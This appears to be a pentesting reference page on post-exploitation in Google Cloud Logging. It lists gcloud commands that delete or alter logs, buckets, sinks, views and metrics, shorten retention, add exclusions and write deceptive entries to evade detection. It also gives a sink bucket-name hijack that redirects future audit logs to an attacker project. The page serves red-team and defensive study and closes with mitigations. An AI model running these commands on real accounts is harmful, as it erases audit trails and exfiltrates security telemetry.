# GCP - Logging Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

For more information check:

{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}

For other ways to disrupt monitoring check:

{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}

### Default Logging

**By default you won't get caught just for performing read actions. Fore more info check the Logging Enum section.**

### Add Excepted Principal

In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.

### Read logs - `logging.logEntries.list`

<details>

<summary>Read log entries</summary>

```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default
```

</details>

### `logging.logs.delete`

<details>

<summary>Delete log entries</summary>

```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
```

</details>

### Write logs - `logging.logEntries.create`

<details>

<summary>Write log entry</summary>

```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```

</details>

### `logging.buckets.update`

<details>

<summary>Update log bucket retention</summary>

```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
```

</details>

### `logging.buckets.delete`

<details>

<summary>Delete log bucket</summary>

```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
```

</details>

### `logging.links.delete`

<details>

<summary>Delete log link</summary>

```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
```

</details>

### `logging.views.delete`

<details>

<summary>Delete logging view</summary>

```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
```

</details>

### `logging.views.update`

<details>

<summary>Update logging view to hide data</summary>

```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
```

</details>

### `logging.logMetrics.update`

<details>

<summary>Update log-based metrics</summary>

```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```

</details>

### `logging.logMetrics.delete`

<details>

<summary>Delete log-based metrics</summary>

```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
```

</details>

### `logging.sinks.delete`

<details>

<summary>Delete log sink</summary>

```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
```

</details>

### `logging.sinks.update`

<details>

<summary>Update/disrupt log sink</summary>

```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```

</details>

### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`

Cloud Logging sinks can continuously export logs to a Cloud Storage destination such as `storage.googleapis.com/<bucket-name>` or `storage.googleapis.com/<bucket-name>/<prefix>`. If an attacker can delete the destination bucket, but cannot update the sink, they might still redirect future exported logs by recreating the same globally-unique bucket name in an attacker-controlled project.

This is useful when the compromised principal has destructive storage permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`, but does not have `logging.sinks.update`.

```bash
# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
  --format='table(name,destination,disabled,writerIdentity)'

# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>

# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
  --project <ATTACKER_PROJECT_ID> \
  --location <LOCATION>

# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
  --member='serviceAccount:<SINK_WRITER_IDENTITY>' \
  --role='roles/storage.objectCreator' \
  --project <ATTACKER_PROJECT_ID>
```

**Potential Impact:** silent long-term exfiltration of future audit logs, application logs, security telemetry, and any other events matched by the sink filter.

**Detection & Mitigation:** alert on deletion of buckets referenced by active sinks, inventory sink destinations for dangling bucket names, restrict `storage.buckets.delete` on logging destinations, and protect export buckets with retention/hold controls where possible.

{{#include ../../../banners/hacktricks-training.md}}


